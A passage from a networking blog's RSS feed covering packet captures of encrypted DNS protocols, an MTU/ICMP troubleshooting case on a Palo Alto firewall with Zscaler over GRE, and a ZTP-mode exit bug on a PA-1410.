min=29.795 ms, avg=48.230 ms, max=70.312 ms, stddev=16.817 ms
weberjoh@nuc:~/dnsdiag$
weberjoh@nuc:~/dnsdiag$
weberjoh@nuc:~/dnsdiag$ ./dnsping.py --server dns.adguard-dns.com --http3 -c 4 heise.de
dnsping.py DNS: dns.adguard-dns.com:443, hostname: heise.de, proto: HTTP3, class: IN, type: A, flags: [RD]
42  bytes from dns.adguard-dns.com: seq=1   time=45.593  ms  NOERROR
42  bytes from dns.adguard-dns.com: seq=2   time=28.860  ms  NOERROR
42  bytes from dns.adguard-dns.com: seq=3   time=37.118  ms  NOERROR
42  bytes from dns.adguard-dns.com: seq=4   time=37.592  ms  NOERROR

--- dns.adguard-dns.com dnsping statistics ---
4 requests transmitted, 4 responses received, 0% lost
min=28.860 ms, avg=37.291 ms, max=45.593 ms, stddev=6.834 ms
weberjoh@nuc:~/dnsdiag$</pre><p>
<h2>Wiresharking all the Stuff</h2>
<p>Since the payload is encrypted in all four cases, it&#8217;s only the headers (TCP/UDP destination ports) and the TLS handshake, if present, that are of interest. Depending on the variant, you can see the Server Name Indication (SNI) and the server certificate.</p>
<p>As with the current Wireshark version 4.6.0, DoQ is decoded as DTLS, while it should be QUIC. (<a href="https://gitlab.com/wireshark/wireshark/-/issues/20856" target="_blank" rel="noopener"><del>Feature request is out.</del> Feature request implemented after less than 24 hours.</a>) As a workaround, use the &#8220;Decode As&#8230;&#8221; function, as used in the screenshot:</p>

<a href='https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-TLS-DoT.png'><img loading="lazy" decoding="async" width="300" height="176" src="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-TLS-DoT-300x176.png" class="attachment-medium size-medium" alt="" srcset="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-TLS-DoT-300x176.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-TLS-DoT-1024x602.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-TLS-DoT-768x451.png 768w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-TLS-DoT-1536x902.png 1536w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-TLS-DoT-2048x1203.png 2048w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-DoH.png'><img loading="lazy" decoding="async" width="300" height="176" src="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-DoH-300x176.png" class="attachment-medium size-medium" alt="" srcset="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-DoH-300x176.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-DoH-1024x602.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-DoH-768x451.png 768w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-DoH-1536x902.png 1536w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-DoH-2048x1203.png 2048w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-with-wrong-decode.png'><img loading="lazy" decoding="async" width="300" height="176" src="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-with-wrong-decode-300x176.png" class="attachment-medium size-medium" alt="" srcset="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-with-wrong-decode-300x176.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-with-wrong-decode-1024x602.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-with-wrong-decode-768x451.png 768w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-with-wrong-decode-1536x902.png 1536w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-with-wrong-decode-2048x1203.png 2048w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-Decode-As-QUIC.png'><img loading="lazy" decoding="async" width="300" height="176" src="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-Decode-As-QUIC-300x176.png" class="attachment-medium size-medium" alt="" srcset="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-Decode-As-QUIC-300x176.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-Decode-As-QUIC-1024x602.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-Decode-As-QUIC-768x451.png 768w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-Decode-As-QUIC-1536x902.png 1536w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-QUIC-DoQ-Decode-As-QUIC-2048x1203.png 2048w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-3-DoH3.png'><img loading="lazy" decoding="async" width="300" height="176" src="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-3-DoH3-300x176.png" class="attachment-medium size-medium" alt="" srcset="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-3-DoH3-300x176.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-3-DoH3-1024x602.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-3-DoH3-768x451.png 768w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-3-DoH3-1536x902.png 1536w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-DNS-over-HTTPS-3-DoH3-2048x1203.png 2048w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>

<div style="margin-bottom:24px"><a href="https://weberblog.net/portable-network-capturing-neox-packet-falcon" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_604x.png" /></a></div>
<h2>Traffic Logs on a Palo</h2>
<p>Just because I was curious, those are the <strong>detected applications as seen from a Palo Alto Networks firewall (without TLS interception)</strong>, PAN-OS 11.2.9, Application Version 9034-9733 (10/27/25):</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/10/Palo-Traffic-Log-DoT-DoH-DoQ-DoH3.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-13916" src="https://weberblog.net/wp-content/uploads/2025/10/Palo-Traffic-Log-DoT-DoH-DoQ-DoH3-1024x258.png" alt="" width="604" height="152" srcset="https://weberblog.net/wp-content/uploads/2025/10/Palo-Traffic-Log-DoT-DoH-DoQ-DoH3-1024x258.png 1024w, https://weberblog.net/wp-content/uploads/2025/10/Palo-Traffic-Log-DoT-DoH-DoQ-DoH3-300x75.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Palo-Traffic-Log-DoT-DoH-DoQ-DoH3-768x193.png 768w, https://weberblog.net/wp-content/uploads/2025/10/Palo-Traffic-Log-DoT-DoH-DoQ-DoH3-1536x387.png 1536w, https://weberblog.net/wp-content/uploads/2025/10/Palo-Traffic-Log-DoT-DoH-DoQ-DoH3.png 1979w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>It is not surprising that none of the DNS sessions were recognised as ‘DNS’, since the user data is completely encrypted. It is also interesting to note that direct DoQ traffic on the well-known UDP port 853 was only recognised as ‘unknown-udp’, while DoH3, which also runs via QUIC, albeit on the ‘classic’ QUIC port UDP 443, was recognised accordingly.</p>
<p>Thanks for watching. ;)</p>
<h2>RFCs</h2>
<ul>
<li>DNS over TLS: <a href="https://datatracker.ietf.org/doc/html/rfc7858" target="_blank" rel="noopener">RFC 7858</a></li>
<li>DNS over HTTPS: <a href="https://datatracker.ietf.org/doc/html/rfc8484" target="_blank" rel="noopener">RFC 8484</a></li>
<li>DNS over QUIC: <a href="https://datatracker.ietf.org/doc/html/rfc9250" target="_blank" rel="noopener">RFC 9250</a></li>
<li>DNS over HTTP/3: n/a</li>
</ul>
<h2>Appendix</h2>
<p>Additionally, I added some more DoT and DoH packets to the Ultimate PCAP, originating from other tools: <strong>dig</strong>, as well as real user traffic from <strong>Firefox</strong> using DoH. Refer to the packet comments. For dig, I used the following commands:</p><pre class="urvanov-syntax-highlighter-plain-tag">dig @test2.weberlab.de netsec.blog +https
dig @test2.weberlab.de weberlab.de aaaa +dnssec +tls</pre><p>
Soli Deo Gloria!</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@markuswinkler?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Markus Winkler</a> on <a href="https://unsplash.com/photos/white-printer-paper-beside-silver-macbook-j2tExQL-OyA?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/dns-packet-capture-dot-doh-doq-doh3/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">13909</post-id>	</item>
		<item>
		<title>It was MTU! Zscaler over GRE behind Palo, blocking ICMP Frag Needed</title>
		<link>https://weberblog.net/it-was-mtu-zscaler-over-gre-behind-palo-blocking-icmp-frag-needed/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=it-was-mtu-zscaler-over-gre-behind-palo-blocking-icmp-frag-needed</link>
					<comments>https://weberblog.net/it-was-mtu-zscaler-over-gre-behind-palo-blocking-icmp-frag-needed/#comments</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Thu, 13 Nov 2025 10:28:27 +0000</pubDate>
				<category><![CDATA[ICMP/ICMPv6]]></category>
		<category><![CDATA[Palo Alto Networks]]></category>
		<category><![CDATA[Fragmentation]]></category>
		<category><![CDATA[GRE]]></category>
		<category><![CDATA[ICMP]]></category>
		<category><![CDATA[MSS]]></category>
		<category><![CDATA[MTU]]></category>
		<category><![CDATA[Wireshark]]></category>
		<category><![CDATA[Zone Protection]]></category>
		<category><![CDATA[Zscaler]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=13935</guid>

					<description><![CDATA[<img width="300" height="158" src="https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image-300x158.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image-300x158.jpg 300w, https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image-1024x540.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image-768x405.jpg 768w, https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image-1536x810.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image.jpg 2048w" sizes="auto, (max-width: 300px) 100vw, 300px" />The other day, I was troubleshooting an issue where users reported that &#8220;some websites are working while some are not&#8220;. Uh. This is almost the worst scenario to face from a networker&#8217;s perspective. It&#8217;s way easier if things do or don&#8217;t work at all, but not this &#8220;some don&#8217;t&#8221; situation. The scenario: Using Zscaler for &#8230; <a href="https://weberblog.net/it-was-mtu-zscaler-over-gre-behind-palo-blocking-icmp-frag-needed/" class="more-link">Continue reading <span class="screen-reader-text">It was MTU! Zscaler over GRE behind Palo, blocking ICMP Frag Needed</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="158" src="https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image-300x158.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image-300x158.jpg 300w, https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image-1024x540.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image-768x405.jpg 768w, https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image-1536x810.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/11/It-was-MTU-Zscaler-over-GRE-behind-Palo-blocking-ICMP-Frag-Needed-featured-image.jpg 2048w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>The other day, I was troubleshooting an issue where users reported that &#8220;<strong>some websites are working while some are not</strong>&#8220;. Uh. This is almost the worst scenario to face from a networker&#8217;s perspective. It&#8217;s way easier if things do or don&#8217;t work at all, but not this &#8220;<em>some</em> don&#8217;t&#8221; situation.</p>
<p>The scenario: Using Zscaler for outbound Internet connections, connected via a GRE tunnel from a Palo Alto Networks firewall. <strong>TL;DR: If it&#8217;s not DNS, it&#8217;s MTU.</strong> 😂 The &#8220;Suppress ICMP Frag Needed&#8221; option within the ICMP Drop section of the Zone Protection Profile did what it is meant to do: <strong>block &#8220;ICMP fragmentation needed&#8221; messages</strong>. Unfortunately, this killed *some* sessions which had the &#8220;Don&#8217;t fragment&#8221; bit set but exceeded the (lower) MTU of the GRE tunnel.</p>
<p><span id="more-13935"></span></p>
<p>Troubleshooting such scenarios is quite awkward, since <strong>no log on the Palo GUI is helping</strong>. Neither the traffic log (connections are allowed) nor the threat log (no threat detected at all). You have to use either the well-known <code>show counter global ...</code> commands with some filters, or the <code>show zone-protection ...</code> information if you already suspect the zone protection to have its fingers in there, or some wild packet capturing and wiresharking. 😂 That&#8217;s what we did.</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neox-networks" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png" /></a></div>
<p>In the end, it was this &#8220;<strong>Suppress ICMP Frag Needed</strong>&#8221; within the Zone Protection Profile that was used on the *inbound* zone/interface from the client to the firewall. That is, this zone protection blocks *outgoing* ICMP destination unreachable &#8211; fragmentation needed messages that belong to previous *incoming* packets. Of course, <strong>we have disabled it again</strong>:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Zone-Protection-Profile-ICMP-Drop-Suppress-ICMP-Frag-Needed.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-13941" src="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Zone-Protection-Profile-ICMP-Drop-Suppress-ICMP-Frag-Needed-1024x390.png" alt="" width="604" height="230" srcset="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Zone-Protection-Profile-ICMP-Drop-Suppress-ICMP-Frag-Needed-1024x390.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Zone-Protection-Profile-ICMP-Drop-Suppress-ICMP-Frag-Needed-300x114.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Zone-Protection-Profile-ICMP-Drop-Suppress-ICMP-Frag-Needed-768x292.png 768w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Zone-Protection-Profile-ICMP-Drop-Suppress-ICMP-Frag-Needed.png 1190w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Here are some Wireshark screenshots from a now working connection. This is how the very first SYN packet appears on the wire: (Palo Packet Capture, transmit stage)</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-SYN-Packet-from-client-with-DF-and-low-MSS.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-13940" src="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-SYN-Packet-from-client-with-DF-and-low-MSS-1024x938.png" alt="" width="604" height="553" srcset="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-SYN-Packet-from-client-with-DF-and-low-MSS-1024x938.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-SYN-Packet-from-client-with-DF-and-low-MSS-300x275.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-SYN-Packet-from-client-with-DF-and-low-MSS-768x703.png 768w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-SYN-Packet-from-client-with-DF-and-low-MSS.png 1258w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Here&#8217;s the whole session, showing the packet that was too big (1, later in the packet list due to an insufficient packet capture on the Palo itself, rather than with a real TAP), and two (!) ICMP destination unreachables &#8211; fragmentation needed messages (2, 3), lowering the &#8220;next-hop TTL&#8221; to 1400, respectively 1376 bytes:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-ICMP-Destination-unreachable-Fragmentation-needed.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-13942" src="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-ICMP-Destination-unreachable-Fragmentation-needed-1024x251.png" alt="" width="604" height="148" srcset="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-ICMP-Destination-unreachable-Fragmentation-needed-1024x251.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-ICMP-Destination-unreachable-Fragmentation-needed-300x74.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-ICMP-Destination-unreachable-Fragmentation-needed-768x188.png 768w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-ICMP-Destination-unreachable-Fragmentation-needed-1536x377.png 1536w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-ICMP-Destination-unreachable-Fragmentation-needed-2048x502.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neoxpacketraven-hardened-portable-netzwerk-taps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven_Hardened-TAP_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven_Hardened-TAP_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven_Hardened-TAP_Banner_DE_604x.png" /></a></div>
<h2>Alternative Solution: Adjusting MSS</h2>
<p>By the way: Another solution could have been adjusting the TCP MSS within the client&#8217;s interface on the Palo. The normal MSS = MTU &#8211; IP header &#8211; TCP header = 1500 &#8211; 20 &#8211; 20. But since a normal GRE header uses 24 bytes (another IP header with 20 bytes + GRE header of 4 bytes), the overall adjustment from the MTU should be 64 rather than the default of 40. (Same for IPv6, but now with an adjustment of 84 rather than 60.)</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Layer-3-Interface-Adjust-TCP-MSS.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-13939" src="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Layer-3-Interface-Adjust-TCP-MSS.png" alt="" width="875" height="586" srcset="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Layer-3-Interface-Adjust-TCP-MSS.png 875w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Layer-3-Interface-Adjust-TCP-MSS-300x201.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-Layer-3-Interface-Adjust-TCP-MSS-768x514.png 768w" sizes="auto, (max-width: 875px) 100vw, 875px" /></a></p>
<p>Disclore: I have not tested this approach yet. If anyone has, please write a comment!</p>
<p>The values would probably need to be adjusted further downward (i.e., a larger adjustment) if, for example, VLANs are used along the path or additional tunnelling mechanisms are in place. Test procedures would involve several lowering steps while capturing until no &#8220;ICMP fragmentation needed&#8221; errors are arriving anymore.</p>
<p>And I&#8217;m not even sure whether this approach would work or not, since the packet captures and screenshots above show that the client&#8217;s outgoing MSS was already quite low (1376), while the server still responded with exceeding payloads. 🤷🏻‍♂️</p>
<p>And this will only solve TCP problems, while the underlying problem of lower MTUs along the path is not solved.</p>
<h2>Lessons Learned</h2>
<ul>
<li>Path MTU Discovery (PMTUD) is still a thing!</li>
<li>Blocking ICMP unreachables by default will break things. Allowing ICMP unreachables for previously allowed sessions is a best practice.</li>
<li>Of course, gratuitous ICMP messages without formerly allowed connections that are sent from an attacker must still be blocked.</li>
<li>The <code>show zone-protection</code> CLI command on a Palo helps troubleshoot IP connection failures that are beyond &#8220;denied by policy&#8221; or &#8220;detected threat&#8221;.</li>
</ul>
<h2>Further Reading/Watching</h2>
<ul>
<li><a href="https://weberblog.net/icmp-destination-unreachable-messages-sharkfest24-eu/">ICMP &#8216;Destination Unreachable&#8217; Messages</a></li>
<li><a href="https://weberblog.net/path-mtu-discovery/">Path MTU Discovery</a></li>
</ul>
<p>Soli Deo Gloria!</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@_nickwright_?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Nick Wright</a> on <a href="https://unsplash.com/photos/red-and-white-stop-sign-Na3ZV7aBT0U?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/it-was-mtu-zscaler-over-gre-behind-palo-blocking-icmp-frag-needed/feed/</wfw:commentRss>
			<slash:comments>7</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">13935</post-id>	</item>
		<item>
		<title>Exiting ZTP Mode on a Palo Fails Partially</title>
		<link>https://weberblog.net/exiting-ztp-mode-on-a-palo-fails-partially/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=exiting-ztp-mode-on-a-palo-fails-partially</link>
					<comments>https://weberblog.net/exiting-ztp-mode-on-a-palo-fails-partially/#comments</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Tue, 28 Oct 2025 08:30:35 +0000</pubDate>
				<category><![CDATA[Palo Alto Networks]]></category>
		<category><![CDATA[Bug]]></category>
		<category><![CDATA[Factory Reset]]></category>
		<category><![CDATA[ZTP]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=13891</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />I just ran into a partially working Palo Alto firewall — a PA-1410 shipped with PAN-OS 11.0.3-h10 and ZTP (Zero-Touch Provisioning) enabled — as I exited ZTP mode to configure the firewall in standalone mode. However, this config shortcut did not work as expected. :( On the very first boot, I connected via the console &#8230; <a href="https://weberblog.net/exiting-ztp-mode-on-a-palo-fails-partially/" class="more-link">Continue reading <span class="screen-reader-text">Exiting ZTP Mode on a Palo Fails Partially</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/10/Exiting-ZTP-Mode-on-Palo-Alto-Fails-Partially-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p data-start="269" data-end="463">I just ran into a <em data-start="287" data-end="306">partially working</em> Palo Alto firewall — a PA-1410 shipped with PAN-OS 11.0.3-h10 and ZTP (Zero-Touch Provisioning) enabled — as I exited ZTP mode to configure the firewall in standalone mode. However, this config shortcut did not work as expected. :(</p>
<p data-start="269" data-end="463"><span id="more-13891"></span></p>
<p data-start="269" data-end="463">On the very first boot, I connected via the console port and exited ZTP mode:</p>
<pre class="urvanov-syntax-highlighter-plain-tag">Do you want to exit ZTP mode and configure your firewall in standard mode (yes/no)[no]?:yes
Warning: You have selected to provision the firewall in standard mode.
Do you want to continue (y/n)?:y
[  OK  ]</pre>
<p data-start="465" data-end="713">After that, I configured the management interface and performed a commit. <strong>However, some of the initial ZTP configuration snippets were still there</strong> — mostly within the <em>service routes configuration</em>, which I honestly didn’t expect at first glance. 🤦‍♂️</p>
<p data-start="465" data-end="713"><a href="https://weberblog.net/wp-content/uploads/2025/10/Palo-Alto-ZTP-Service-Route-Configuration.png"><img loading="lazy" decoding="async" class="aligncenter wp-image-13897 size-full" src="https://weberblog.net/wp-content/uploads/2025/10/Palo-Alto-ZTP-Service-Route-Configuration.png" alt="" width="625" height="663" srcset="https://weberblog.net/wp-content/uploads/2025/10/Palo-Alto-ZTP-Service-Route-Configuration.png 625w, https://weberblog.net/wp-content/uploads/2025/10/Palo-Alto-ZTP-Service-Route-Configuration-283x300.png 283w" sizes="auto, (max-width: 625px) 100vw, 625px" /></a><a href="https://weberblog.net/wp-content/uploads/2025/10/Palo-Alto-ZTP-loopback.900-Interface.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-13898" src="https://weberblog.net/wp-content/uploads/2025/10/Palo-Alto-ZTP-loopback.900-Interface.png" alt="" width="945" height="262" srcset="https://weberblog.net/wp-content/uploads/2025/10/Palo-Alto-ZTP-loopback.900-Interface.png 945w, https://weberblog.net/wp-content/uploads/2025/10/Palo-Alto-ZTP-loopback.900-Interface-300x83.png 300w, https://weberblog.net/wp-content/uploads/2025/10/Palo-Alto-ZTP-loopback.900-Interface-768x213.png 768w" sizes="auto, (max-width: 945px) 100vw, 945px" /></a></p>
<p data-start="465" data-end="713">It took me quite some time to troubleshoot this issue, since I could reach the management interface via ping/HTTPS/SSH (hence layer 3 was working fine!), but had <strong data-start="843" data-end="871">no outgoing connectivity</strong> at all — neither DNS nor ping. For example, a ping on the mgmt port ended up with this:</p>
<pre class="urvanov-syntax-highlighter-plain-tag">admin@PA-1410&gt; ping host heise.de
ping: heise.de: System error</pre>
<p data-start="918" data-end="988">Asking the Internet brought me to <a href="https://live.paloaltonetworks.com/t5/general-topics/pa1410-new-install-with-ztp-disabled-but-still-has-ztp/m-p/586212" target="_blank" rel="noopener">this LIVEcommunity question</a> (which talks about a PA-1410 as well 🤔) and <a href="https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u0000001UiOCAU" target="_blank" rel="noopener">to this KB article</a>.</p>
<p data-start="918" data-end="988">In the end, I simply ran this CLI command again:<br data-start="959" data-end="962" /><code data-start="962" data-end="986">set system ztp disable</code></p>
<p data-start="990" data-end="1146">The firewall immediately forced a reboot. After that reboot (and after changing the admin password again), the firewall was finally <em data-start="1116" data-end="1124">really</em> in standalone mode.</p>
